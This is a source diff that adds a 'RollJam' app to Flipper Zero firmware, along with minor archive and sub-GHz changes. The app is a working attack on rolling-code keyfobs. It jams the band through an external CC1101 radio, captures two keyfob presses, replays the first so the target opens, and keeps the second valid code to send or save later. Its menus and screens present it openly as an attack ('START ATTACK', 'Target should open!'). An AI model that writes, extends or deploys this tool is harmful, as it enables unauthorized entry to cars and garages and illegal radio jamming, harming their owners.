void rolljam_capture_stop(RollJamApp* app);
// Check if captured signal looks valid (not just noise)
bool rolljam_signal_is_valid(RawSignal* signal);
// Clean up captured signal: merge short pulses, quantize, trim noise
void rolljam_signal_cleanup(RawSignal* signal);
// Transmit a raw signal via internal CC1101
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal);
// Save signal to .sub file on SD card
void rolljam_save_signal(RollJamApp* app, RawSignal* signal);

View File

@@ -0,0 +1,21 @@
applications_user/rolljam/
├── application.fam
├── rolljam.png (icon 10x10)
├── rolljam.c
├── rolljam_icons.h
├── scenes/
│ ├── rolljam_scene.h
│ ├── rolljam_scene_config.h
│ ├── rolljam_scene_menu.c
│ ├── rolljam_scene_attack_phase1.c
│ ├── rolljam_scene_attack_phase2.c
│ ├── rolljam_scene_attack_phase3.c
│ └── rolljam_scene_result.c
├── helpers/
│ ├── rolljam_cc1101_ext.h
│ ├── rolljam_cc1101_ext.c
│ ├── rolljam_receiver.h
│ └── rolljam_receiver.c
└── views/
├── rolljam_attack_view.h
└── rolljam_attack_view.c

View File

@@ -0,0 +1,236 @@
#include "rolljam.h"
#include "scenes/rolljam_scene.h"
#include "helpers/rolljam_cc1101_ext.h"
#include "helpers/rolljam_receiver.h"
#include "helpers/rolljam_cc1101_ext.h"
// ============================================================
// Frequency / modulation tables
// ============================================================
const uint32_t freq_values[] = {
300000000,
303875000,
315000000,
318000000,
390000000,
433075000,
433920000,
434420000,
438900000,
868350000,
915000000,
};
const char* freq_names[] = {
"300.00",
"303.87",
"315.00",
"318.00",
"390.00",
"433.07",
"433.92",
"434.42",
"438.90",
"868.35",
"915.00",
};
const char* mod_names[] = {
"AM 650",
"AM 270",
"FM 238",
"FM 476",
};
const uint32_t jam_offset_values[] = {
300000,
500000,
700000,
1000000,
};
const char* jam_offset_names[] = {
"300 kHz",
"500 kHz",
"700 kHz",
"1000 kHz",
};
const char* hw_names[] = {
"CC1101",
"Flux Cap",
};
// ============================================================
// Scene handlers table (extern declarations in scene header)
// ============================================================
void (*const rolljam_scene_on_enter_handlers[])(void*) = {
rolljam_scene_menu_on_enter,
rolljam_scene_attack_phase1_on_enter,
rolljam_scene_attack_phase2_on_enter,
rolljam_scene_attack_phase3_on_enter,
rolljam_scene_result_on_enter,
};
bool (*const rolljam_scene_on_event_handlers[])(void*, SceneManagerEvent) = {
rolljam_scene_menu_on_event,
rolljam_scene_attack_phase1_on_event,
rolljam_scene_attack_phase2_on_event,
rolljam_scene_attack_phase3_on_event,
rolljam_scene_result_on_event,
};
void (*const rolljam_scene_on_exit_handlers[])(void*) = {
rolljam_scene_menu_on_exit,
rolljam_scene_attack_phase1_on_exit,
rolljam_scene_attack_phase2_on_exit,
rolljam_scene_attack_phase3_on_exit,
rolljam_scene_result_on_exit,
};
const SceneManagerHandlers rolljam_scene_handlers = {
.on_enter_handlers = rolljam_scene_on_enter_handlers,
.on_event_handlers = rolljam_scene_on_event_handlers,
.on_exit_handlers = rolljam_scene_on_exit_handlers,
.scene_num = RollJamSceneCount,
};
// ============================================================
// Navigation callbacks
// ============================================================
static bool rolljam_navigation_callback(void* context) {
RollJamApp* app = context;
return scene_manager_handle_back_event(app->scene_manager);
}
static bool rolljam_custom_event_callback(void* context, uint32_t event) {
RollJamApp* app = context;
return scene_manager_handle_custom_event(app->scene_manager, event);
}
// ============================================================
// App alloc
// ============================================================
static RollJamApp* rolljam_app_alloc(void) {
RollJamApp* app = malloc(sizeof(RollJamApp));
memset(app, 0, sizeof(RollJamApp));
app->freq_index = FreqIndex_433_92;
app->frequency = freq_values[FreqIndex_433_92];
app->mod_index = ModIndex_AM650;
app->jam_offset_index = JamOffIndex_700k;
app->jam_offset_hz = jam_offset_values[JamOffIndex_700k];
app->hw_index = HwIndex_CC1101;
// Services
app->gui = furi_record_open(RECORD_GUI);
app->notification = furi_record_open(RECORD_NOTIFICATION);
app->storage = furi_record_open(RECORD_STORAGE);
// Scene manager
app->scene_manager = scene_manager_alloc(&rolljam_scene_handlers, app);
// View dispatcher
app->view_dispatcher = view_dispatcher_alloc();
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
view_dispatcher_set_custom_event_callback(
app->view_dispatcher, rolljam_custom_event_callback);
view_dispatcher_set_navigation_event_callback(
app->view_dispatcher, rolljam_navigation_callback);
view_dispatcher_attach_to_gui(
app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
// Variable item list
app->var_item_list = variable_item_list_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewVarItemList,
variable_item_list_get_view(app->var_item_list));
// Widget
app->widget = widget_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewWidget,
widget_get_view(app->widget));
// Dialog
app->dialog_ex = dialog_ex_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewDialogEx,
dialog_ex_get_view(app->dialog_ex));
// Popup
app->popup = popup_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewPopup,
popup_get_view(app->popup));
return app;
}
// ============================================================
// App free
// ============================================================
static void rolljam_app_free(RollJamApp* app) {
// Safety: stop everything
if(app->jamming_active) {
rolljam_jammer_stop(app);
}
if(app->raw_capture_active) {
rolljam_capture_stop(app);
}
// Remove views
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewVarItemList);
variable_item_list_free(app->var_item_list);
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewWidget);
widget_free(app->widget);
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewDialogEx);
dialog_ex_free(app->dialog_ex);
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewPopup);
popup_free(app->popup);
// Core
scene_manager_free(app->scene_manager);
view_dispatcher_free(app->view_dispatcher);
// Services
furi_record_close(RECORD_GUI);
furi_record_close(RECORD_NOTIFICATION);
furi_record_close(RECORD_STORAGE);
free(app);
}
// ============================================================
// Entry point
// ============================================================
int32_t rolljam_app(void* p) {
UNUSED(p);
RollJamApp* app = rolljam_app_alloc();
FURI_LOG_I(TAG, "=== RollJam Started ===");
FURI_LOG_I(TAG, "Internal CC1101 = RX capture (narrow BW)");
FURI_LOG_I(TAG, "External CC1101 = TX jam (offset +%lu Hz)", app->jam_offset_hz);
scene_manager_next_scene(app->scene_manager, RollJamSceneMenu);
view_dispatcher_run(app->view_dispatcher);
rolljam_app_free(app);
FURI_LOG_I(TAG, "=== RollJam Stopped ===");
return 0;
}

View File

@@ -0,0 +1,164 @@
#pragma once
#include <furi.h>
#include <furi_hal.h>
#include <gui/gui.h>
#include <gui/view_dispatcher.h>
#include <gui/scene_manager.h>
#include <gui/modules/submenu.h>
#include <gui/modules/popup.h>
#include <gui/modules/variable_item_list.h>
#include <gui/modules/widget.h>
#include <gui/modules/dialog_ex.h>
#include <notification/notification.h>
#include <notification/notification_messages.h>
#include <storage/storage.h>
#include <stdlib.h>
#include <string.h>
#define TAG "RollJam"
// Max raw signal buffer
#define RAW_SIGNAL_MAX_SIZE 4096
// ============================================================
// Frequencies
// ============================================================
typedef enum {
FreqIndex_300_00 = 0,
FreqIndex_303_87,
FreqIndex_315_00,
FreqIndex_318_00,
FreqIndex_390_00,
FreqIndex_433_07,
FreqIndex_433_92,
FreqIndex_434_42,
FreqIndex_438_90,
FreqIndex_868_35,
FreqIndex_915_00,
FreqIndex_COUNT,
} FreqIndex;
extern const uint32_t freq_values[];
extern const char* freq_names[];
// ============================================================
// Modulations
// ============================================================
typedef enum {
ModIndex_AM650 = 0,
ModIndex_AM270,
ModIndex_FM238,
ModIndex_FM476,
ModIndex_COUNT,
} ModIndex;
extern const char* mod_names[];
// ============================================================
// Jam offsets
// ============================================================
typedef enum {
JamOffIndex_300k = 0,
JamOffIndex_500k,
JamOffIndex_700k,
JamOffIndex_1000k,
JamOffIndex_COUNT,
} JamOffIndex;
extern const uint32_t jam_offset_values[];
extern const char* jam_offset_names[];
// ============================================================
// Hardware type
// ============================================================
typedef enum {
HwIndex_CC1101 = 0,
HwIndex_FluxCapacitor,
HwIndex_COUNT,
} HwIndex;
extern const char* hw_names[];
// ============================================================
// Scenes
// ============================================================
typedef enum {
RollJamSceneMenu,
RollJamSceneAttackPhase1,
RollJamSceneAttackPhase2,
RollJamSceneAttackPhase3,
RollJamSceneResult,
RollJamSceneCount,
} RollJamScene;
// ============================================================
// Views
// ============================================================
typedef enum {
RollJamViewVarItemList,
RollJamViewWidget,
RollJamViewDialogEx,
RollJamViewPopup,
} RollJamView;
// ============================================================
// Custom events
// ============================================================
typedef enum {
RollJamEventStartAttack = 100,
RollJamEventSignalCaptured,
RollJamEventPhase3Done,
RollJamEventReplayNow,
RollJamEventSaveSignal,
RollJamEventBack,
} RollJamEvent;
// ============================================================
// Raw signal container
// ============================================================
typedef struct {
int16_t data[RAW_SIGNAL_MAX_SIZE];
size_t size;
bool valid;
} RawSignal;
// ============================================================
// Main app struct
// ============================================================
typedef struct {
// Core
Gui* gui;
ViewDispatcher* view_dispatcher;
SceneManager* scene_manager;
NotificationApp* notification;
Storage* storage;
// Views / modules
VariableItemList* var_item_list;
Widget* widget;
DialogEx* dialog_ex;
Popup* popup;
// Settings
FreqIndex freq_index;
ModIndex mod_index;
JamOffIndex jam_offset_index;
HwIndex hw_index;
uint32_t frequency;
uint32_t jam_frequency;
uint32_t jam_offset_hz;
// Captured signals
RawSignal signal_first;
RawSignal signal_second;
// Jamming state
bool jamming_active;
FuriThread* jam_thread;
volatile bool jam_thread_running;
// Capture state
volatile bool raw_capture_active;
} RollJamApp;

Binary file not shown.

After

Width:  |  Height:  |  Size: 220 B

View File

@@ -0,0 +1,9 @@
#pragma once
// Icon assets are auto-generated by the build system
// from the images/ folder. If no custom icons are needed,
// this file can remain minimal.
// If you place .png files in an images/ folder,
// the build system generates icon references automatically.
// Access them via &I_iconname

View File

@@ -0,0 +1,27 @@
#pragma once
#include "../rolljam.h"
// Scene on_enter
void rolljam_scene_menu_on_enter(void* context);
void rolljam_scene_attack_phase1_on_enter(void* context);
void rolljam_scene_attack_phase2_on_enter(void* context);
void rolljam_scene_attack_phase3_on_enter(void* context);
void rolljam_scene_result_on_enter(void* context);
// Scene on_event
bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event);
// Scene on_exit
void rolljam_scene_menu_on_exit(void* context);
void rolljam_scene_attack_phase1_on_exit(void* context);
void rolljam_scene_attack_phase2_on_exit(void* context);
void rolljam_scene_attack_phase3_on_exit(void* context);
void rolljam_scene_result_on_exit(void* context);
// Scene manager handlers (defined in rolljam.c)
extern const SceneManagerHandlers rolljam_scene_handlers;

View File

@@ -0,0 +1,105 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_cc1101_ext.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 1: JAM + CAPTURE first keyfob press
// ============================================================
static void phase1_timer_callback(void* context) {
RollJamApp* app = context;
if(app->signal_first.size > 0 &&
rolljam_signal_is_valid(&app->signal_first)) {
rolljam_signal_cleanup(&app->signal_first);
app->signal_first.valid = true;
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSignalCaptured);
}
}
void rolljam_scene_attack_phase1_on_enter(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 1 / 4");
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "Jamming active...");
widget_add_string_element(
app->widget, 64, 28, AlignCenter, AlignTop,
FontSecondary, "Listening for keyfob");
widget_add_string_element(
app->widget, 64, 42, AlignCenter, AlignTop,
FontPrimary, "PRESS KEYFOB NOW");
widget_add_string_element(
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
// Configure hardware type
rolljam_ext_set_flux_capacitor(app->hw_index == HwIndex_FluxCapacitor);
// Start jamming
rolljam_jammer_start(app);
// Start capture
rolljam_capture_start(app);
notification_message(app->notification, &sequence_blink_blue_100);
FuriTimer* timer = furi_timer_alloc(
phase1_timer_callback, FuriTimerTypePeriodic, app);
furi_timer_start(timer, 300);
scene_manager_set_scene_state(
app->scene_manager, RollJamSceneAttackPhase1, (uint32_t)timer);
FURI_LOG_I(TAG, "Phase1: waiting for 1st keyfob press...");
}
bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSignalCaptured) {
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
app->signal_first.size);
// Stop capture cleanly
rolljam_capture_stop(app);
// Jamming stays active!
scene_manager_next_scene(
app->scene_manager, RollJamSceneAttackPhase2);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
FURI_LOG_I(TAG, "Phase1: cancelled by user");
rolljam_capture_stop(app);
rolljam_jammer_stop(app);
scene_manager_search_and_switch_to_another_scene(
app->scene_manager, RollJamSceneMenu);
return true;
}
return false;
}
void rolljam_scene_attack_phase1_on_exit(void* context) {
RollJamApp* app = context;
FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state(
app->scene_manager, RollJamSceneAttackPhase1);
if(timer) {
furi_timer_stop(timer);
furi_timer_free(timer);
}
widget_reset(app->widget);
}

View File

@@ -0,0 +1,108 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_cc1101_ext.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 2: JAM + CAPTURE second keyfob press
// ============================================================
static void phase2_timer_callback(void* context) {
RollJamApp* app = context;
if(app->signal_second.size > 0 &&
rolljam_signal_is_valid(&app->signal_second)) {
rolljam_signal_cleanup(&app->signal_second);
app->signal_second.valid = true;
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSignalCaptured);
}
}
void rolljam_scene_attack_phase2_on_enter(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 2 / 4");
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "1st code CAPTURED!");
widget_add_string_element(
app->widget, 64, 28, AlignCenter, AlignTop,
FontSecondary, "Still jamming...");
widget_add_string_element(
app->widget, 64, 42, AlignCenter, AlignTop,
FontPrimary, "PRESS KEYFOB AGAIN");
widget_add_string_element(
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
// CRITICAL: completely clear second signal
memset(app->signal_second.data, 0, sizeof(app->signal_second.data));
app->signal_second.size = 0;
app->signal_second.valid = false;
// Stop previous capture if any
rolljam_capture_stop(app);
// Small delay to let radio settle
furi_delay_ms(50);
// Start fresh capture for second signal
rolljam_capture_start(app);
notification_message(app->notification, &sequence_blink_yellow_100);
FuriTimer* timer = furi_timer_alloc(
phase2_timer_callback, FuriTimerTypePeriodic, app);
furi_timer_start(timer, 300);
scene_manager_set_scene_state(
app->scene_manager, RollJamSceneAttackPhase2, (uint32_t)timer);
FURI_LOG_I(TAG, "Phase2: waiting for 2nd keyfob press...");
}
bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSignalCaptured) {
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
app->signal_second.size);
rolljam_capture_stop(app);
scene_manager_next_scene(
app->scene_manager, RollJamSceneAttackPhase3);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
FURI_LOG_I(TAG, "Phase2: cancelled by user");
rolljam_capture_stop(app);
rolljam_jammer_stop(app);
scene_manager_search_and_switch_to_another_scene(
app->scene_manager, RollJamSceneMenu);
return true;
}
return false;
}
void rolljam_scene_attack_phase2_on_exit(void* context) {
RollJamApp* app = context;
FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state(
app->scene_manager, RollJamSceneAttackPhase2);
if(timer) {
furi_timer_stop(timer);
furi_timer_free(timer);
}
widget_reset(app->widget);
}

View File

@@ -0,0 +1,70 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_cc1101_ext.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 3: STOP jam + REPLAY first signal
// The victim device opens. We keep the 2nd (newer) code.
// ============================================================
void rolljam_scene_attack_phase3_on_enter(void* context) {
RollJamApp* app = context;
// UI
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 3 / 4");
widget_add_string_element(
app->widget, 64, 18, AlignCenter, AlignTop,
FontSecondary, "Stopping jammer...");
widget_add_string_element(
app->widget, 64, 32, AlignCenter, AlignTop,
FontPrimary, "REPLAYING 1st CODE");
widget_add_string_element(
app->widget, 64, 48, AlignCenter, AlignTop,
FontSecondary, "Target should open!");
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
// LED: green
notification_message(app->notification, &sequence_blink_green_100);
// 1) Stop the jammer
rolljam_jammer_stop(app);
// Wait for jammer thread to fully stop and radio to settle
furi_delay_ms(1000);
// 2) Transmit first captured signal via internal CC1101
rolljam_transmit_signal(app, &app->signal_first);
FURI_LOG_I(TAG, "Phase3: 1st code replayed. Keeping 2nd code.");
notification_message(app->notification, &sequence_success);
// Brief display then advance
furi_delay_ms(800);
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventPhase3Done);
}
bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventPhase3Done) {
scene_manager_next_scene(
app->scene_manager, RollJamSceneResult);
return true;
}
}
return false;
}
void rolljam_scene_attack_phase3_on_exit(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
}

View File

@@ -0,0 +1,17 @@
#pragma once
/*
* Scene configuration file.
* Lists all scenes for the SceneManager.
*
* In some Flipper apps this uses ADD_SCENE macros.
* We handle it manually via the handlers arrays in rolljam.c
* so this file just documents the scene list.
*
* Scenes:
* 0 - RollJamSceneMenu
* 1 - RollJamSceneAttackPhase1
* 2 - RollJamSceneAttackPhase2
* 3 - RollJamSceneAttackPhase3
* 4 - RollJamSceneResult
*/

View File

@@ -0,0 +1,129 @@
#include "rolljam_scene.h"
// ============================================================
// Menu scene: select frequency, modulation, start attack
// ============================================================
static void menu_freq_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->freq_index = index;
app->frequency = freq_values[index];
variable_item_set_current_value_text(item, freq_names[index]);
}
static void menu_mod_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->mod_index = index;
variable_item_set_current_value_text(item, mod_names[index]);
}
static void menu_jam_offset_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->jam_offset_index = index;
app->jam_offset_hz = jam_offset_values[index];
variable_item_set_current_value_text(item, jam_offset_names[index]);
}
static void menu_hw_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->hw_index = index;
variable_item_set_current_value_text(item, hw_names[index]);
}
static void menu_enter_callback(void* context, uint32_t index) {
RollJamApp* app = context;
if(index == 4) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventStartAttack);
}
}
void rolljam_scene_menu_on_enter(void* context) {
RollJamApp* app = context;
variable_item_list_reset(app->var_item_list);
// --- Frequency ---
VariableItem* freq_item = variable_item_list_add(
app->var_item_list,
"Frequency",
FreqIndex_COUNT,
menu_freq_changed,
app);
variable_item_set_current_value_index(freq_item, app->freq_index);
variable_item_set_current_value_text(freq_item, freq_names[app->freq_index]);
// --- Modulation ---
VariableItem* mod_item = variable_item_list_add(
app->var_item_list,
"Modulation",
ModIndex_COUNT,
menu_mod_changed,
app);
variable_item_set_current_value_index(mod_item, app->mod_index);
variable_item_set_current_value_text(mod_item, mod_names[app->mod_index]);
VariableItem* offset_item = variable_item_list_add(
app->var_item_list,
"Jam Offset",
JamOffIndex_COUNT,
menu_jam_offset_changed,
app);
variable_item_set_current_value_index(offset_item, app->jam_offset_index);
variable_item_set_current_value_text(offset_item, jam_offset_names[app->jam_offset_index]);
// --- Hardware ---
VariableItem* hw_item = variable_item_list_add(
app->var_item_list,
"Hardware",
HwIndex_COUNT,
menu_hw_changed,
app);
variable_item_set_current_value_index(hw_item, app->hw_index);
variable_item_set_current_value_text(hw_item, hw_names[app->hw_index]);
// --- Start button ---
variable_item_list_add(
app->var_item_list,
">> START ATTACK <<",
0,
NULL,
app);
variable_item_list_set_enter_callback(
app->var_item_list, menu_enter_callback, app);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewVarItemList);
}
bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventStartAttack) {
// Clear previous captures
memset(&app->signal_first, 0, sizeof(RawSignal));
memset(&app->signal_second, 0, sizeof(RawSignal));
scene_manager_next_scene(
app->scene_manager, RollJamSceneAttackPhase1);
return true;
}
}
return false;
}
void rolljam_scene_menu_on_exit(void* context) {
RollJamApp* app = context;
variable_item_list_reset(app->var_item_list);
}

View File

@@ -0,0 +1,111 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 4 / Result: user chooses to SAVE or REPLAY 2nd code
// ============================================================
static void result_dialog_callback(DialogExResult result, void* context) {
RollJamApp* app = context;
if(result == DialogExResultLeft) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSaveSignal);
} else if(result == DialogExResultRight) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventReplayNow);
}
}
void rolljam_scene_result_on_enter(void* context) {
RollJamApp* app = context;
dialog_ex_reset(app->dialog_ex);
dialog_ex_set_header(
app->dialog_ex, "Attack Complete!",
64, 2, AlignCenter, AlignTop);
dialog_ex_set_text(
app->dialog_ex,
"1st code: SENT to target\n"
"2nd code: IN MEMORY\n\n"
"What to do with 2nd?",
64, 18, AlignCenter, AlignTop);
dialog_ex_set_left_button_text(app->dialog_ex, "Save");
dialog_ex_set_right_button_text(app->dialog_ex, "Send");
dialog_ex_set_result_callback(app->dialog_ex, result_dialog_callback);
dialog_ex_set_context(app->dialog_ex, app);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewDialogEx);
}
bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSaveSignal) {
// Save to .sub file
rolljam_save_signal(app, &app->signal_second);
popup_reset(app->popup);
popup_set_header(
app->popup, "Saved!",
64, 20, AlignCenter, AlignCenter);
popup_set_text(
app->popup,
"File saved to:\n/ext/subghz/rolljam_*.sub\n\nPress Back",
64, 38, AlignCenter, AlignCenter);
popup_set_timeout(app->popup, 5000);
popup_enable_timeout(app->popup);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewPopup);
notification_message(app->notification, &sequence_success);
return true;
} else if(event.event == RollJamEventReplayNow) {
// Show sending screen
popup_reset(app->popup);
popup_set_header(
app->popup, "Transmitting...",
64, 20, AlignCenter, AlignCenter);
popup_set_text(
app->popup, "Sending 2nd code NOW",
64, 38, AlignCenter, AlignCenter);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewPopup);
// Transmit second signal
rolljam_transmit_signal(app, &app->signal_second);
notification_message(app->notification, &sequence_success);
popup_set_header(
app->popup, "Done!",
64, 20, AlignCenter, AlignCenter);
popup_set_text(
app->popup,
"2nd code transmitted!\n\nPress Back",
64, 38, AlignCenter, AlignCenter);
popup_set_timeout(app->popup, 5000);
popup_enable_timeout(app->popup);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
scene_manager_search_and_switch_to_another_scene(
app->scene_manager, RollJamSceneMenu);
return true;
}
return false;
}
void rolljam_scene_result_on_exit(void* context) {
RollJamApp* app = context;
dialog_ex_reset(app->dialog_ex);
popup_reset(app->popup);
}

View File

@@ -0,0 +1,53 @@
#include "rolljam_attack_view.h"
#include <gui/canvas.h>
// ============================================================
// Custom drawing for attack status
// Reserved for future use with a custom View
// Currently the app uses Widget modules instead
// ============================================================
void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state) {
canvas_clear(canvas);
// Title bar
canvas_set_font(canvas, FontPrimary);
canvas_draw_str_aligned(
canvas, 64, 2, AlignCenter, AlignTop, state->phase_text);
// Separator
canvas_draw_line(canvas, 0, 14, 128, 14);
// Status
canvas_set_font(canvas, FontSecondary);
canvas_draw_str_aligned(
canvas, 64, 18, AlignCenter, AlignTop, state->status_text);
// Indicators
int y = 32;
if(state->jamming) {
canvas_draw_str(canvas, 4, y, "JAM: [ACTIVE]");
// Animated dots could go here
} else {
canvas_draw_str(canvas, 4, y, "JAM: [OFF]");
}
y += 12;
if(state->capturing) {
canvas_draw_str(canvas, 4, y, "RX: [LISTENING]");
} else {
canvas_draw_str(canvas, 4, y, "RX: [OFF]");
}
y += 12;
// Signal counter
char buf[32];
snprintf(buf, sizeof(buf), "Signals: %d / 2", state->signal_count);
canvas_draw_str(canvas, 4, y, buf);
// Footer
canvas_set_font(canvas, FontSecondary);
canvas_draw_str_aligned(
canvas, 64, 62, AlignCenter, AlignBottom, "[BACK] cancel");
}

View File

@@ -0,0 +1,23 @@
#pragma once
#include "../rolljam.h"
/*
* Custom view for attack visualization.
* Currently the app uses Widget and DialogEx for display.
* This file is reserved for a future custom canvas-drawn view
* (e.g., signal waveform display, animated jamming indicator).
*
* For now it provides a simple status draw function.
*/
typedef struct {
const char* phase_text;
const char* status_text;
bool jamming;
bool capturing;
int signal_count;
} AttackViewState;
// Draw attack status on a canvas (for future custom View use)
void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state);

View File

@@ -8,6 +8,7 @@ App(
"lfrfid",
"nfc",
"subghz",
"rolljam",
"subghz_bruteforcer",
"archive",
"subghz_remote",

View File

@@ -30,11 +30,9 @@ static const char* const known_ext[] = {
[ArchiveFileTypeBadUsb] = ".txt",
[ArchiveFileTypeU2f] = "?",
[ArchiveFileTypeApplication] = ".fap",
[ArchiveFileTypeJS] = ".js",
[ArchiveFileTypeUpdateManifest] = ".fuf",
[ArchiveFileTypeFolder] = "?",
[ArchiveFileTypeUnknown] = "*",
[ArchiveFileTypeAppOrJs] = ".fap|.js",
[ArchiveFileTypeSetting] = "?",
};
@@ -47,7 +45,7 @@ static const ArchiveFileTypeEnum known_type[] = {
[ArchiveTabInfrared] = ArchiveFileTypeInfrared,
[ArchiveTabBadUsb] = ArchiveFileTypeBadUsb,
[ArchiveTabU2f] = ArchiveFileTypeU2f,
[ArchiveTabApplications] = ArchiveFileTypeAppOrJs,
[ArchiveTabApplications] = ArchiveFileTypeApplication,
[ArchiveTabInternal] = ArchiveFileTypeUnknown,
[ArchiveTabBrowser] = ArchiveFileTypeUnknown,
};

View File

@@ -18,10 +18,8 @@ typedef enum {
ArchiveFileTypeU2f,
ArchiveFileTypeApplication,
ArchiveFileTypeUpdateManifest,
ArchiveFileTypeJS,
ArchiveFileTypeFolder,
ArchiveFileTypeUnknown,
ArchiveFileTypeAppOrJs,
ArchiveFileTypeSetting,
ArchiveFileTypeLoading,
} ArchiveFileTypeEnum;

View File

@@ -29,8 +29,6 @@ static const char* archive_get_flipper_app_name(ArchiveFileTypeEnum file_type) {
return "U2F";
case ArchiveFileTypeUpdateManifest:
return "UpdaterApp";
case ArchiveFileTypeJS:
return "JS Runner";
case ArchiveFileTypeFolder:
return "Archive";
default:

View File

@@ -36,8 +36,6 @@ static const Icon* ArchiveItemIcons[] = {
[ArchiveFileTypeFolder] = &I_dir_10px,
[ArchiveFileTypeUnknown] = &I_unknown_10px,
[ArchiveFileTypeLoading] = &I_loading_10px,
[ArchiveFileTypeJS] = &I_js_script_10px,
[ArchiveFileTypeAppOrJs] = &I_unknown_10px,
};
void archive_browser_set_callback(

View File

@@ -6,7 +6,7 @@ App(
requires=["gui","dialogs"],
stack_size=2 * 1024,
order=11,
fap_icon="images/subbrute_10px.png",
fap_icon="icon.png",
fap_category="Sub-GHz",
fap_icon_assets="images",
)

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.7 KiB

View File

@@ -1,5 +1,6 @@
#include "subghz_txrx_i.h" // IWYU pragma: keep
#include <math.h>
#include <lib/subghz/protocols/protocol_items.h>
#include <applications/drivers/subghz/cc1101_ext/cc1101_ext_interconnect.h>
#include <lib/subghz/devices/cc1101_int/cc1101_int_interconnect.h>
@@ -34,6 +35,9 @@ SubGhzTxRx* subghz_txrx_alloc(void) {
instance->txrx_state = SubGhzTxRxStateSleep;
subghz_txrx_hopper_set_state(instance, SubGhzHopperStateOFF);
subghz_txrx_preset_hopper_set_state(instance, SubGhzPresetHopperStateOFF);
instance->preset_hopper_idx = 0;
instance->preset_hopper_timeout = 0;
subghz_txrx_speaker_set_state(instance, SubGhzSpeakerStateDisable);
subghz_txrx_set_debug_pin_state(instance, false);
@@ -494,52 +498,153 @@ void subghz_txrx_hopper_pause(SubGhzTxRx* instance) {
}
}
